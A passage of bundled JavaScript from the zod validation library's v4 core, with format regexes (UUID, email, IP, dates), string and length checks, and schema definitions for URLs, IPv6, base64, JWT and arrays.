/^P(?:(\\d+W)|(?!.*W)(?=\\d|T\\d)(\\d+Y)?(\\d+M)?(\\d+D)?(T(?=\\d)(\\d+H)?(\\d+M)?(\\d+([.,]\\d+)?S)?)?)$/;\n/** A regex for any UUID-like identifier: 8-4-4-4-12 hex pattern */\nconst guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/;\n/** Returns a regex for validating an RFC 9562/4122 UUID.\n*\n* @param version Optionally specify a version 1-8. If no version is specified, all versions are supported. */\nconst uuid = (version) => {\n	if (!version) return /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$/;\n	return new RegExp(`^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-${version}[0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12})$`);\n};\n/** Practical email validation */\nconst email = /^(?:[A-Za-z0-9_'+\\-]+\\.)*[A-Za-z0-9_'+\\-]*[A-Za-z0-9_+-]@(?:[A-Za-z0-9][A-Za-z0-9\\-]*\\.)+[A-Za-z]{2,}$/;\nconst _emoji$1 = `^(?=[\\\\s\\\\S]*[\\\\p{Extended_Pictographic}\\\\p{Regional_Indicator}\\\\u20E3])[\\\\p{Extended_Pictographic}\\\\p{Emoji_Component}]+$`;\nfunction emoji() {\n	return new RegExp(_emoji$1, \"u\");\n}\nconst ipv4 = /^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/;\nconst ipv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$/;\nconst cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\/([0-9]|[1-2][0-9]|3[0-2])$/;\nconst cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))\\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/;\nconst base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/;\nconst base64url = /^(?:[A-Za-z0-9_-]{4})*(?:[A-Za-z0-9_-]{2,3})?$/;\nconst httpProtocol = /^https?$/;\nconst e164 = /^\\+[1-9]\\d{6,14}$/;\nconst dateSource = `(?:(?:\\\\d\\\\d[2468][048]|\\\\d\\\\d[13579][26]|\\\\d\\\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\\\d|30)|(?:02)-(?:0[1-9]|1\\\\d|2[0-8])))`;\n/** Anchors a pattern source. The interpolation lives here rather than at the call site because\n* esbuild will not drop a `@__PURE__` call whose own argument interpolates a variable, but it\n* will drop `anchor(dateSource)`. Keeping it inline pinned `date` into every bundle. */\nfunction anchor(source) {\n	return new RegExp(`^${source}$`);\n}\nconst date = /*@__PURE__*/ anchor(dateSource);\nfunction timeSource(args) {\n	const hhmm = `(?:[01]\\\\d|2[0-3]):[0-5]\\\\d`;\n	return typeof args.precision === \"number\" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\\\d` : `${hhmm}:[0-5]\\\\d\\\\.\\\\d{${args.precision}}` : args.seconds ? `${hhmm}:[0-5]\\\\d(?:\\\\.\\\\d+)?` : `${hhmm}(?::[0-5]\\\\d(?:\\\\.\\\\d+)?)?`;\n}\nfunction time(args) {\n	return new RegExp(`^${timeSource(args)}$`);\n}\nfunction datetime(args) {\n	const opts = [\"Z\"];\n	if (args.offset) opts.push(`([+-](?:[01]\\\\d|2[0-3]):[0-5]\\\\d)`);\n	const qualified = `${timeSource({\n		precision: args.precision,\n		seconds: true\n	})}(?:${opts.join(\"|\")})`;\n	const timeRegex = args.local ? `${qualified}|${timeSource({ precision: args.precision })}` : qualified;\n	return new RegExp(`^${dateSource}T(?:${timeRegex})$`);\n}\nconst anyString = /^[\\s\\S]{0,}$/;\nconst integer = /^-?\\d+$/;\nconst number = /^-?\\d+(?:\\.\\d+)?$/;\nconst lowercase = /^[^A-Z]*$/;\nconst uppercase = /^[^a-z]*$/;\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/checks.js\nconst $ZodCheck = /*@__PURE__*/ $constructor(\"$ZodCheck\", (inst, def) => {\n	var _a;\n	inst._zod ?? (inst._zod = {});\n	inst._zod.def = def;\n	(_a = inst._zod).onattach ?? (_a.onattach = []);\n});\n/** Default `when` for length-based checks: run only on non-nullish values with a `length`. */\nconst _whenHasLength = (payload) => {\n	const val = payload.value;\n	return !nullish(val) && val.length !== void 0;\n};\nconst $ZodCheckMaxLength = /*@__PURE__*/ $constructor(\"$ZodCheckMaxLength\", (inst, def) => {\n	var _a;\n	$ZodCheck.init(inst, def);\n	(_a = inst._zod.def).when ?? (_a.when = _whenHasLength);\n	inst._zod.check = (payload) => {\n		const input = payload.value;\n		const units = input.length;\n		if ((typeof input === \"string\" && units > def.maximum ? codePointLength(input) : units) <= def.maximum) return;\n		const origin = getLengthableOrigin(input);\n		payload.issues.push({\n			origin,\n			code: \"too_big\",\n			maximum: def.maximum,\n			inclusive: true,\n			input,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodCheckMinLength = /*@__PURE__*/ $constructor(\"$ZodCheckMinLength\", (inst, def) => {\n	var _a;\n	$ZodCheck.init(inst, def);\n	(_a = inst._zod.def).when ?? (_a.when = _whenHasLength);\n	inst._zod.check = (payload) => {\n		const input = payload.value;\n		const units = input.length;\n		if ((typeof input === \"string\" && units >= def.minimum && units < def.minimum * 2 ? codePointLength(input) : units) >= def.minimum) return;\n		const origin = getLengthableOrigin(input);\n		payload.issues.push({\n			origin,\n			code: \"too_small\",\n			minimum: def.minimum,\n			inclusive: true,\n			input,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodCheckLengthEquals = /*@__PURE__*/ $constructor(\"$ZodCheckLengthEquals\", (inst, def) => {\n	var _a;\n	$ZodCheck.init(inst, def);\n	(_a = inst._zod.def).when ?? (_a.when = _whenHasLength);\n	inst._zod.check = (payload) => {\n		const input = payload.value;\n		const units = input.length;\n		const length = typeof input === \"string\" && units >= def.length && units <= def.length * 2 ? codePointLength(input) : units;\n		if (length === def.length) return;\n		const origin = getLengthableOrigin(input);\n		const tooBig = length > def.length;\n		payload.issues.push({\n			origin,\n			...tooBig ? {\n				code: \"too_big\",\n				maximum: def.length\n			} : {\n				code: \"too_small\",\n				minimum: def.length\n			},\n			inclusive: true,\n			exact: true,\n			input: payload.value,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodCheckStringFormat = /*@__PURE__*/ $constructor(\"$ZodCheckStringFormat\", (inst, def) => {\n	var _a, _b;\n	$ZodCheck.init(inst, def);\n	if (def.pattern) (_a = inst._zod).check ?? (_a.check = (payload) => {\n		def.pattern.lastIndex = 0;\n		if (def.pattern.test(payload.value)) return;\n		payload.issues.push({\n			origin: \"string\",\n			code: \"invalid_format\",\n			format: def.format,\n			input: payload.value,\n			...def.pattern ? { pattern: def.pattern.toString() } : {},\n			inst,\n			continue: !def.abort\n		});\n	});\n	else (_b = inst._zod).check ?? (_b.check = () => {});\n});\nconst $ZodCheckRegex = /*@__PURE__*/ $constructor(\"$ZodCheckRegex\", (inst, def) => {\n	$ZodCheckStringFormat.init(inst, def);\n	inst._zod.check = (payload) => {\n		def.pattern.lastIndex = 0;\n		if (def.pattern.test(payload.value)) return;\n		payload.issues.push({\n			origin: \"string\",\n			code: \"invalid_format\",\n			format: \"regex\",\n			input: payload.value,\n			pattern: def.pattern.toString(),\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodCheckLowerCase = /*@__PURE__*/ $constructor(\"$ZodCheckLowerCase\", (inst, def) => {\n	def.pattern ?? (def.pattern = lowercase);\n	$ZodCheckStringFormat.init(inst, def);\n});\nconst $ZodCheckUpperCase = /*@__PURE__*/ $constructor(\"$ZodCheckUpperCase\", (inst, def) => {\n	def.pattern ?? (def.pattern = uppercase);\n	$ZodCheckStringFormat.init(inst, def);\n});\nconst $ZodCheckIncludes = /*@__PURE__*/ $constructor(\"$ZodCheckIncludes\", (inst, def) => {\n	$ZodCheck.init(inst, def);\n	const escapedRegex = escapeRegex(def.includes);\n	def.pattern = new RegExp(typeof def.position === \"number\" ? `^.{${def.position},}${escapedRegex}` : escapedRegex);\n	inst._zod.check = (payload) => {\n		if (payload.value.includes(def.includes, def.position)) return;\n		payload.issues.push({\n			origin: \"string\",\n			code: \"invalid_format\",\n			format: \"includes\",\n			includes: def.includes,\n			input: payload.value,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodCheckStartsWith = /*@__PURE__*/ $constructor(\"$ZodCheckStartsWith\", (inst, def) => {\n	$ZodCheck.init(inst, def);\n	const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`);\n	def.pattern ?? (def.pattern = pattern);\n	inst._zod.check = (payload) => {\n		if (payload.value.startsWith(def.prefix)) return;\n		payload.issues.push({\n			origin: \"string\",\n			code: \"invalid_format\",\n			format: \"starts_with\",\n			prefix: def.prefix,\n			input: payload.value,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodCheckEndsWith = /*@__PURE__*/ $constructor(\"$ZodCheckEndsWith\", (inst, def) => {\n	$ZodCheck.init(inst, def);\n	const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`);\n	def.pattern ?? (def.pattern = pattern);\n	inst._zod.check = (payload) => {\n		if (payload.value.endsWith(def.suffix)) return;\n		payload.issues.push({\n			origin: \"string\",\n			code: \"invalid_format\",\n			format: \"ends_with\",\n			suffix: def.suffix,\n			input: payload.value,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodCheckOverwrite = /*@__PURE__*/ $constructor(\"$ZodCheckOverwrite\", (inst, def) => {\n	$ZodCheck.init(inst, def);\n	inst._zod.check = (payload) => {\n		payload.value = def.tx(payload.value);\n	};\n});\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/doc.js\nvar Doc = class {\n	constructor(args = [], closed = {}) {\n		this.content = [];\n		this.indent = 0;\n		this.args = args;\n		this.closed = closed;\n	}\n	indented(fn) {\n		this.indent += 1;\n		try {\n			fn(this);\n		} finally {\n			this.indent -= 1;\n		}\n	}\n	write(arg) {\n		if (typeof arg === \"function\") {\n			arg(this, { execution: \"sync\" });\n			arg(this, { execution: \"async\" });\n			return;\n		}\n		const lines = arg.split(\"\\n\").filter((x) => x);\n		const minIndent = Math.min(...lines.map((x) => x.length - x.trimStart().length));\n		const dedented = lines.map((x) => x.slice(minIndent)).map((x) => \" \".repeat(this.indent * 2) + x);\n		for (const line of dedented) this.content.push(line);\n	}\n	compile() {\n		const F = Function;\n		const content = this?.content ?? [``];\n		return new F(...Object.keys(this.closed), `return function (${this.args.join(\", \")}) {\\n${content.join(\"\\n\")}\\n};`)(...Object.values(this.closed));\n	}\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/versions.js\nconst version = {\n	major: 4,\n	minor: 6,\n	patch: 5\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/schemas.js\nconst $ZodType = /*@__PURE__*/ $constructor(\"$ZodType\", (inst, def) => {\n	var _a;\n	inst ?? (inst = {});\n	inst._zod.def = def;\n	inst._zod.bag = inst._zod.bag || {};\n	inst._zod.version = version;\n	const defChecks = inst._zod.def.checks;\n	const checks = inst._zod.traits.has(\"$ZodCheck\") ? [inst, ...defChecks ?? []] : defChecks?.length ? [...defChecks] : [];\n	for (const ch of checks) for (const fn of ch._zod.onattach) fn(inst);\n	if (checks.length === 0) {\n		(_a = inst._zod).deferred ?? (_a.deferred = []);\n		inst._zod.deferred?.push(() => {\n			inst._zod.run = inst._zod.parse;\n		});\n	} else {\n		const runChecks = (payload, checks, ctx) => {\n			if (payload.memo) return payload;\n			let isAborted = aborted(payload);\n			let asyncResult;\n			for (const ch of checks) {\n				if (ch._zod.def.when) {\n					if (explicitlyAborted(payload)) continue;\n					if (!ch._zod.def.when(payload)) continue;\n				} else if (isAborted) continue;\n				const currLen = payload.issues.length;\n				const _ = ch._zod.check(payload);\n				if (_ instanceof Promise && ctx?.async === false) throw new $ZodAsyncError();\n				if (asyncResult || _ instanceof Promise) asyncResult = (asyncResult ?? Promise.resolve()).then(async () => {\n					await _;\n					if (payload.issues.length === currLen) return;\n					attachSchema(payload.issues, currLen, inst);\n					if (!isAborted) isAborted = aborted(payload, currLen);\n				});\n				else {\n					if (payload.issues.length === currLen) continue;\n					attachSchema(payload.issues, currLen, inst);\n					if (!isAborted) isAborted = aborted(payload, currLen);\n				}\n			}\n			if (asyncResult) return asyncResult.then(() => {\n				return payload;\n			});\n			return payload;\n		};\n		const handleCanaryResult = (canary, payload, ctx) => {\n			if (aborted(canary)) {\n				canary.aborted = true;\n				return canary;\n			}\n			const checkResult = runChecks(payload, checks, ctx);\n			if (checkResult instanceof Promise) {\n				if (ctx.async === false) throw new $ZodAsyncError();\n				return checkResult.then((checkResult) => inst._zod.parse(checkResult, ctx));\n			}\n			return inst._zod.parse(checkResult, ctx);\n		};\n		inst._zod.run = (payload, ctx) => {\n			if (ctx.skipChecks) return inst._zod.parse(payload, ctx);\n			if (ctx.direction === \"backward\") {\n				const canary = inst._zod.parse({\n					value: payload.value,\n					issues: []\n				}, {\n					...ctx,\n					skipChecks: true\n				});\n				if (canary instanceof Promise) return canary.then((canary) => {\n					return handleCanaryResult(canary, payload, ctx);\n				});\n				return handleCanaryResult(canary, payload, ctx);\n			}\n			const result = inst._zod.parse(payload, ctx);\n			if (result instanceof Promise) {\n				if (ctx.async === false) throw new $ZodAsyncError();\n				return result.then((result) => runChecks(result, checks, ctx));\n			}\n			return runChecks(result, checks, ctx);\n		};\n	}\n}, {\n	get \"~standard\"() {\n		return hide(this, \"~standard\", standardProps(this));\n	},\n	set \"~standard\"(value) {\n		own(this, \"~standard\", value);\n	}\n});\n/** The Standard Schema surface for `inst`. Shared so wrappers can extend it without forcing it. */\nconst toStandardResult = (r, ctx) => r.issues.length ? { issues: r.issues.map((iss) => finalizeIssue(iss, ctx, config())) } : { value: r.value };\nasync function validateAsync(inst, value) {\n	const ctx = { async: true };\n	return toStandardResult(await inst._zod.run({\n		value,\n		issues: []\n	}, ctx), ctx);\n}\nfunction standardProps(inst) {\n	return {\n		validate: (value) => {\n			const ctx = { async: false };\n			try {\n				const r = inst._zod.run({\n					value,\n					issues: []\n				}, ctx);\n				if (!(r instanceof Promise)) return toStandardResult(r, ctx);\n			} catch (_) {}\n			return validateAsync(inst, value);\n		},\n		vendor: \"zod\",\n		version: 1\n	};\n}\nconst $ZodString = /*@__PURE__*/ $constructor(\"$ZodString\", (inst, def) => {\n	$ZodType.init(inst, def);\n	inst._zod.pattern = def.pattern ?? anyString;\n	inst._zod.parse = (payload, _) => {\n		if (def.coerce) try {\n			payload.value = String(payload.value);\n		} catch (_) {}\n		if (typeof payload.value === \"string\") return payload;\n		payload.issues.push({\n			expected: \"string\",\n			code: \"invalid_type\",\n			input: payload.value,\n			inst\n		});\n		return payload;\n	};\n});\nconst $ZodStringFormat = /*@__PURE__*/ $constructor(\"$ZodStringFormat\", (inst, def) => {\n	$ZodCheckStringFormat.init(inst, def);\n	$ZodString.init(inst, def);\n});\nconst $ZodGUID = /*@__PURE__*/ $constructor(\"$ZodGUID\", (inst, def) => {\n	def.pattern ?? (def.pattern = guid);\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodUUID = /*@__PURE__*/ $constructor(\"$ZodUUID\", (inst, def) => {\n	if (def.version) {\n		const v = {\n			v1: 1,\n			v2: 2,\n			v3: 3,\n			v4: 4,\n			v5: 5,\n			v6: 6,\n			v7: 7,\n			v8: 8\n		}[def.version];\n		if (v === void 0) throw new Error(`Invalid UUID version: \"${def.version}\"`);\n		def.pattern ?? (def.pattern = uuid(v));\n	} else def.pattern ?? (def.pattern = uuid());\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodEmail = /*@__PURE__*/ $constructor(\"$ZodEmail\", (inst, def) => {\n	def.pattern ?? (def.pattern = email);\n	$ZodStringFormat.init(inst, def);\n});\n/** The `://` guard rejected the input before the URL constructor saw it. */\nconst URL_BAD_FORMAT = 1;\n/** The URL parser rejected the input. */\nconst URL_UNPARSEABLE = 2;\nfunction canParseURL(input) {\n	try {\n		if (typeof URL !== \"undefined\" && typeof URL.canParse === \"function\") return URL.canParse(input);\n		new URL(input);\n		return true;\n	} catch {\n		return false;\n	}\n}\nfunction validateURL(trimmed, def) {\n	if (!(\"normalize\" in def) && !(\"hostname\" in def) && !(\"protocol\" in def)) return canParseURL(trimmed) || 2;\n	return parseURLObject(trimmed, def);\n}\n/** Parses a URL while preserving the non-normalizing HTTP guard. */\nfunction parseURLObject(trimmed, def) {\n	if (!def.normalize && def.protocol?.source === httpProtocol.source && !/^https?:\\/\\//i.test(trimmed)) return 1;\n	try {\n		if (typeof URL !== \"undefined\") {\n			const URLStatic = URL;\n			if (typeof URLStatic.parse === \"function\") return URLStatic.parse(trimmed) ?? 2;\n		}\n		return new URL(trimmed);\n	} catch {\n		return 2;\n	}\n}\nconst asciiTabOrNewline = /[\\t\\n\\r]/g;\n/** The URL parser deletes every ASCII tab, LF and CR from its input before it parses, so `new URL(\"https://exa\\nmple.com\")` reports on `example.com`. Applying the same deletion to the returned value closes the half of that divergence which can move the host; the parser's other rewrite, stripping C0 controls at the edges, cannot. */\nfunction stripTabAndNewline(value) {\n	return value.replace(asciiTabOrNewline, \"\");\n}\nfunction urlHostnameOk(url, hostname) {\n	hostname.lastIndex = 0;\n	return hostname.test(url.hostname);\n}\nfunction urlProtocolOk(url, protocol) {\n	protocol.lastIndex = 0;\n	return protocol.test(url.protocol.endsWith(\":\") ? url.protocol.slice(0, -1) : url.protocol);\n}\nconst $ZodURL = /*@__PURE__*/ $constructor(\"$ZodURL\", (inst, def) => {\n	$ZodStringFormat.init(inst, def);\n	inst._zod.check = (payload) => {\n		try {\n			const trimmed = payload.value.trim();\n			const url = validateURL(trimmed, def);\n			if (url === 1) {\n				payload.issues.push({\n					code: \"invalid_format\",\n					format: \"url\",\n					note: \"Invalid URL format\",\n					input: payload.value,\n					inst,\n					continue: !def.abort\n				});\n				return;\n			}\n			if (url === 2) {\n				payload.issues.push({\n					code: \"invalid_format\",\n					format: \"url\",\n					input: payload.value,\n					inst,\n					continue: !def.abort\n				});\n				return;\n			}\n			if (url === true) {\n				payload.value = stripTabAndNewline(trimmed);\n				return;\n			}\n			if (def.hostname && !urlHostnameOk(url, def.hostname)) payload.issues.push({\n				code: \"invalid_format\",\n				format: \"url\",\n				note: \"Invalid hostname\",\n				pattern: def.hostname.source,\n				input: payload.value,\n				inst,\n				continue: !def.abort\n			});\n			if (def.protocol && !urlProtocolOk(url, def.protocol)) payload.issues.push({\n				code: \"invalid_format\",\n				format: \"url\",\n				note: \"Invalid protocol\",\n				pattern: def.protocol.source,\n				input: payload.value,\n				inst,\n				continue: !def.abort\n			});\n			payload.value = def.normalize ? url.href : stripTabAndNewline(trimmed);\n			return;\n		} catch (_) {\n			payload.issues.push({\n				code: \"invalid_format\",\n				format: \"url\",\n				input: payload.value,\n				inst,\n				continue: !def.abort\n			});\n		}\n	};\n});\nconst $ZodEmoji = /*@__PURE__*/ $constructor(\"$ZodEmoji\", (inst, def) => {\n	def.pattern ?? (def.pattern = emoji());\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodNanoID = /*@__PURE__*/ $constructor(\"$ZodNanoID\", (inst, def) => {\n	if (def.length !== void 0 && (!Number.isInteger(def.length) || def.length < 1)) throw new Error(`Invalid nanoid length: ${def.length}`);\n	def.pattern ?? (def.pattern = def.length === void 0 ? nanoid : nanoidOfLength(def.length));\n	$ZodStringFormat.init(inst, def);\n});\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link $ZodCUID2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst $ZodCUID = /*@__PURE__*/ $constructor(\"$ZodCUID\", (inst, def) => {\n	def.pattern ?? (def.pattern = cuid);\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodCUID2 = /*@__PURE__*/ $constructor(\"$ZodCUID2\", (inst, def) => {\n	def.pattern ?? (def.pattern = cuid2);\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodULID = /*@__PURE__*/ $constructor(\"$ZodULID\", (inst, def) => {\n	def.pattern ?? (def.pattern = ulid);\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodXID = /*@__PURE__*/ $constructor(\"$ZodXID\", (inst, def) => {\n	def.pattern ?? (def.pattern = xid);\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodKSUID = /*@__PURE__*/ $constructor(\"$ZodKSUID\", (inst, def) => {\n	def.pattern ?? (def.pattern = ksuid);\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodISODateTime = /*@__PURE__*/ $constructor(\"$ZodISODateTime\", (inst, def) => {\n	def.pattern ?? (def.pattern = datetime(def));\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodISODate = /*@__PURE__*/ $constructor(\"$ZodISODate\", (inst, def) => {\n	def.pattern ?? (def.pattern = date);\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodISOTime = /*@__PURE__*/ $constructor(\"$ZodISOTime\", (inst, def) => {\n	def.pattern ?? (def.pattern = time(def));\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodISODuration = /*@__PURE__*/ $constructor(\"$ZodISODuration\", (inst, def) => {\n	def.pattern ?? (def.pattern = duration);\n	$ZodStringFormat.init(inst, def);\n});\nconst $ZodIPv4 = /*@__PURE__*/ $constructor(\"$ZodIPv4\", (inst, def) => {\n	def.pattern ?? (def.pattern = ipv4);\n	$ZodStringFormat.init(inst, def);\n});\n/** An IPv6 address is written with hex digits, colons and dots, and nothing else. The guard is what makes the check below an IPv6 check: `new URL(\"http://[...]\")` parses an authority, not an address, so `@` and `\\` re-delimit it and `\"::@1\\\\\"` validates against the host `0.0.0.1`. The URL parser also deletes ASCII tab, LF and CR rather than failing, which is how `\"::1\\n\"` validated as `::1`. */\nconst ipv6Alphabet = /^[0-9a-fA-F:.]+$/;\nfunction isValidIPv6(value) {\n	if (!ipv6Alphabet.test(value)) return false;\n	return canParseURL(`http://[${value}]`);\n}\nconst $ZodIPv6 = /*@__PURE__*/ $constructor(\"$ZodIPv6\", (inst, def) => {\n	def.pattern ?? (def.pattern = ipv6);\n	$ZodStringFormat.init(inst, def);\n	inst._zod.check = (payload) => {\n		if (!isValidIPv6(payload.value)) payload.issues.push({\n			code: \"invalid_format\",\n			format: \"ipv6\",\n			input: payload.value,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodCIDRv4 = /*@__PURE__*/ $constructor(\"$ZodCIDRv4\", (inst, def) => {\n	def.pattern ?? (def.pattern = cidrv4);\n	$ZodStringFormat.init(inst, def);\n});\nfunction isValidCIDRv6(value) {\n	const parts = value.split(\"/\");\n	if (parts.length !== 2) return false;\n	const [address, prefix] = parts;\n	if (!prefix) return false;\n	const prefixNum = Number(prefix);\n	if (`${prefixNum}` !== prefix) return false;\n	if (prefixNum < 0 || prefixNum > 128) return false;\n	return isValidIPv6(address);\n}\nconst $ZodCIDRv6 = /*@__PURE__*/ $constructor(\"$ZodCIDRv6\", (inst, def) => {\n	def.pattern ?? (def.pattern = cidrv6);\n	$ZodStringFormat.init(inst, def);\n	inst._zod.check = (payload) => {\n		if (!isValidCIDRv6(payload.value)) payload.issues.push({\n			code: \"invalid_format\",\n			format: \"cidrv6\",\n			input: payload.value,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nfunction isValidBase64(data) {\n	if (data === \"\") return true;\n	if (/\\s/.test(data)) return false;\n	if (data.length % 4 !== 0) return false;\n	try {\n		atob(data);\n		return true;\n	} catch {\n		return false;\n	}\n}\nconst base64Charset = /^[0-9a-zA-Z+/]*={0,2}$/;\nconst $ZodBase64 = /*@__PURE__*/ $constructor(\"$ZodBase64\", (inst, def) => {\n	def.pattern ?? (def.pattern = base64Charset);\n	$ZodStringFormat.init(inst, def);\n	inst._zod.check = (payload) => {\n		if (isValidBase64(payload.value)) return;\n		payload.issues.push({\n			code: \"invalid_format\",\n			format: \"base64\",\n			input: payload.value,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst base64urlCharset = /^[A-Za-z0-9_-]*$/;\nfunction isValidBase64URL(data) {\n	if (!base64urlCharset.test(data)) return false;\n	const base64 = data.replace(/[-_]/g, (c) => c === \"-\" ? \"+\" : \"/\");\n	return isValidBase64(base64.padEnd(Math.ceil(base64.length / 4) * 4, \"=\"));\n}\nconst $ZodBase64URL = /*@__PURE__*/ $constructor(\"$ZodBase64URL\", (inst, def) => {\n	def.pattern ?? (def.pattern = base64urlCharset);\n	$ZodStringFormat.init(inst, def);\n	inst._zod.check = (payload) => {\n		if (isValidBase64URL(payload.value)) return;\n		payload.issues.push({\n			code: \"invalid_format\",\n			format: \"base64url\",\n			input: payload.value,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodE164 = /*@__PURE__*/ $constructor(\"$ZodE164\", (inst, def) => {\n	def.pattern ?? (def.pattern = e164);\n	$ZodStringFormat.init(inst, def);\n});\nfunction isValidJWT(token, algorithm = null) {\n	try {\n		const tokensParts = token.split(\".\");\n		if (tokensParts.length !== 3) return false;\n		const [header] = tokensParts;\n		if (!header) return false;\n		const parsedHeader = JSON.parse(atob(header));\n		if (\"typ\" in parsedHeader && parsedHeader?.typ !== \"JWT\") return false;\n		if (!parsedHeader.alg) return false;\n		if (algorithm && (!(\"alg\" in parsedHeader) || parsedHeader.alg !== algorithm)) return false;\n		return true;\n	} catch {\n		return false;\n	}\n}\nconst $ZodJWT = /*@__PURE__*/ $constructor(\"$ZodJWT\", (inst, def) => {\n	$ZodStringFormat.init(inst, def);\n	inst._zod.check = (payload) => {\n		if (isValidJWT(payload.value, def.alg)) return;\n		payload.issues.push({\n			code: \"invalid_format\",\n			format: \"jwt\",\n			input: payload.value,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodUnknown = /*@__PURE__*/ $constructor(\"$ZodUnknown\", (inst, def) => {\n	$ZodType.init(inst, def);\n	inst._zod.parse = (payload) => payload;\n});\nconst $ZodNever = /*@__PURE__*/ $constructor(\"$ZodNever\", (inst, def) => {\n	$ZodType.init(inst, def);\n	inst._zod.parse = (payload, _ctx) => {\n		payload.issues.push({\n			expected: \"never\",\n			code: \"invalid_type\",\n			input: payload.value,\n			inst\n		});\n		return payload;\n	};\n});\nfunction handleArrayResult(result, final, index) {\n	if (result.issues.length) final.issues.push(...prefixIssues(index, result.issues));\n	final.value[index] = result.value;\n}\nconst $ZodArray = /*@__PURE__*/ $constructor(\"$ZodArray\", (inst, def) => {\n	$ZodType.init(inst, def);\n	const memo = globalConfig.memoizer;\n	memo?.attach(inst);\n	inst._zod.parse = (payload, ctx) => {\n		const input = payload.value;\n		if (!Array.isArray(input)) {\n			payload.issues.push({\n				expected: \"array\",\n				code: \"invalid_type\",\n				input,\n				inst\n			});\n			return payload;\n		}\n		payload.value = memo ? memo.alloc(inst, payload, Array(input.length), ctx) : Array(input.length);\n		const proms = [];\n		const abortEarly = ctx?.abortEarly;\n		for (let i = 0; i < input.length; i++) {\n			const item = input[i];\n			const result = def.element._zod.run({\n				value: item,\n				issues: []\n			}, ctx);\n			if (result instanceof Promise) proms.push(result.then((result) => handleArrayResult(result, payload, i)));\n			else {\n				handleArrayResult(result, payload, i);\n				if (abortEarly && result.issues.length !== 0 && aborted(result)) break;\n			}\n		}\n		if (proms.length) return Promise.all(proms).then(() => payload);\n		return payload;\n	